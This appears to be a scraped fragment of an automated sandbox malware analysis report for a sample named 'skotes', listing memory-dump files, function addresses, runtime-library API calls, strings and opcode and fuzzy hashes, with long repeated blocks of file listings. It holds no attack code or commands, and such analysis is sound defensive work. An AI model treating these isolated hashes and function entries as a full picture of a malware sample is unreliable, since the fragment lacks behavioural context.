Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16
String ID: ?]&$$csm
API String ID: 1700504859-2797054762
Opcode ID: eea80f5eeed118bd6e3ad0fcd6e825e2875d858b309f339bd098e89e45f82de2
Instruction ID: e3e882d3638279c4663a368b665f96993503441287b33c26ce709cdeb199e322
Opcode Fuzzy Hash: eea80f5eeed118bd6e3ad0fcd6e825e2875d858b309f339bd098e89e45f82de2
Instruction Fuzzy Hash: 2D214A31D01218AFCF24DF95E945AEEB7B9EF64720F18440AE845AF250CB30AD85CBA1

Function 00D31704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00D31764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D317AF

Strings

pContext, xrefs: 00D317A7

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: ec235de76e9cc99d4a481d18a7dfd505c67c5b34071535f72f4bb28f2914da00
Instruction ID: aa503ca877fa7da525cbec3e34b2fefc3ba4656f7095ef13be7dcfb96a0b76ed
Opcode Fuzzy Hash: ec235de76e9cc99d4a481d18a7dfd505c67c5b34071535f72f4bb28f2914da00
Instruction Fuzzy Hash: EB11B13EA00215EBCF15AF68C88596D77A5EF84361F194465EC12A7342DB74ED09CAF0

Function 00D17630 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D17654
__Mtx_unlock.LIBCPMT ref: 00D176AA

Strings

?]&$, xrefs: 00D17641, 00D17691

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: ?]&$
API String ID: 1418687624-313912829
Opcode ID: b51e071c723f7ea7d59b5da07e88551d9310149d13845e162b13731ef4487245
Instruction ID: a1013e0c0f4eb04ed99c258210d6f4df6de54c384e705d53722a4afa3c2e984f
Opcode Fuzzy Hash: b51e071c723f7ea7d59b5da07e88551d9310149d13845e162b13731ef4487245
Instruction Fuzzy Hash: F501D671948A48BFD711DF98ED02FA6B7A8E705B24F104669FC15C3BA1EF369400C671

Function 00D02B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D02B63

Strings

This function cannot be called on a default constructed task, xrefs: 00D02B43
?]&$, xrefs: 00D02B36

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: ?]&$$This function cannot be called on a default constructed task
API String ID: 2659868963-3592681885
Opcode ID: 3bdf7781453bfbd0f4e9dfed6ce69a3695c0594521445331d82146079b3d8295
Instruction ID: b8199e467c4b863c40f32f7fcf42dd37867d38ac227bcfcb37fe621370cb34e5
Opcode Fuzzy Hash: 3bdf7781453bfbd0f4e9dfed6ce69a3695c0594521445331d82146079b3d8295
Instruction Fuzzy Hash: 4FF08C71D20208ABCB10DFA8984199EBBF9EF15300F1042AEFC40A7300EBB01A588BB5

Function 00D2B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00D2B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D2B961

Strings

pContext, xrefs: 00D2B959

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 1fe9adadf5b7514de9e8ed72ceb87f789f19249ec8ab77bd072e44730eb5f78e
